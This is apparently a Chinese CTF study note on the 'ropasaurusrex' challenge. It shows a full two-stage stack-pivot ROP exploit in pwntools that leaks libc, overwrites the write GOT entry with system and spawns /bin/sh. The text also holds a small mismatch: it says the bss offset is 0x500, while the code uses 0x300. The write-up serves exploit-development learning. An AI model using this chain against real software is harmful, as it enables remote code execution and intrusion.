ROP区域较小的情况
- 改变read的size
- 256字节 -> 160字节
限制写入size
1
| $ xxd -p ropasaurusrex | sed -e 's/c744240800010000/c7442408a0000000/' | xxd -r -p > ropasaurusrex2
|
确认
1 2 3 4 5 6 7 8 9
| $ diff <(objdump -d -M intel ropasaurusrex) <(objdump -d -M intel ropasaurusrex2) 2c2 < ropasaurusrex: 文件格式 elf32-i386 --- > ropasaurusrex2: 文件格式 elf32-i386 129c129 < 80483fd: c7 44 24 08 00 01 00 mov DWORD PTR [esp+0x8],0x100 --- > 80483fd: c7 44 24 08 a0 00 00 mov DWORD PTR [esp+0x8],0xa0
|
只有160字节,无法直接构造ROP
只能够调用一个函数
但是可以使用stack pivot
exploit
使用stack pivot
- 这就是类似stager,需要两个阶段的ROP
- ROP执行stack pivot(stager1)
- 通过stack pivot执行正常攻略的ROP(stager2)
- stack pivot之后,与之前的攻略相同
Hint
无法构造一个准备ebp的gadget?
这个问题中,原本使用了leave ret
- 不需要讲pop ebp加载到stack上也可以
- 只需要将目标ebp写到old-ebp
leave gadget
1 2 3 4 5 6 7
| gdb-peda$ ropsearch "leave" 0x08048000 0x08049000 Searching for ROP gadget: 'leave' in range: 0x8048000 - 0x8049000 0x080482ea : (b'c9c3') leave; ret 0x080483f1 : (b'c9c3') leave; ret 0x0804841b : (b'c9c3') leave; ret 0x08048447 : (b'c9c3') leave; ret 0x08048506 : (b'c9c3') leave; ret
|
exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| # preparing for exploitation
write_plt = 0x0804830c read_plt = 0x0804832c pop3ret = 0x80484b6 write_got = 0x8049614 read_got = 0x804961c data = 0x08049620 system_offset = 0x0003d200 write_offset = 0x000e6d80 bss_addr = 0x08049628 + 0x300 bss_top_addr = 0x08049000 leave_ret = 0x080482ea
log.info('Pwning')
buf = 'A' * 136 buf += p32(bss_addr-4) buf += p32(read_plt) buf += p32(leave_ret) buf += p32(0) buf += p32(bss_addr) buf += p32(72)
# write(STDOUT, got_write, 4) buf2 = p32(write_plt) + p32(pop3ret) + p32(1) + p32(write_got) + p32(4) # read(STDIN, data, 8) buf2 += p32(read_plt) + p32(pop3ret) + p32(0) +p32(data) + p32(8) # read(STDIN, got_write, 4) buf2 += p32(read_plt) + p32(pop3ret) + p32(0) + p32(write_got) + p32(4) # write(data) # system("/bin/sh") buf2 += p32(write_plt) + p32(0x41424344) + p32(data)
conn.send(buf) conn.send(buf2)
ret = u32(conn.recv()) print('write@got: {}'.format(hex(ret))) print('libc_start: {}'.format(hex(ret - write_offset))) system_addr = ret - write_offset + system_offset print('system: {}'.format(hex(system_addr)))
conn.send('/bin/sh'+'\x00')
buf = p32(system_addr)
conn.send(buf) conn.interactive()
|
- return之前4个字节是old-ebp,设置为bss之前4个字节地址。减去4个字节是因为在最终处理时,pop会将old ebp加上4个字节
- bss地址加上0x500原因是,在添加函数时,栈会扩展。如果没有添加,则可能会进入到其他区域,其他区域可能不可读写,导致SIGSEGV
???
喵了个咪的,最开始用的conn.sendline(),一直EOFError,今天看代码忽然想到是不是这个问题,果然是
Last updated:
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会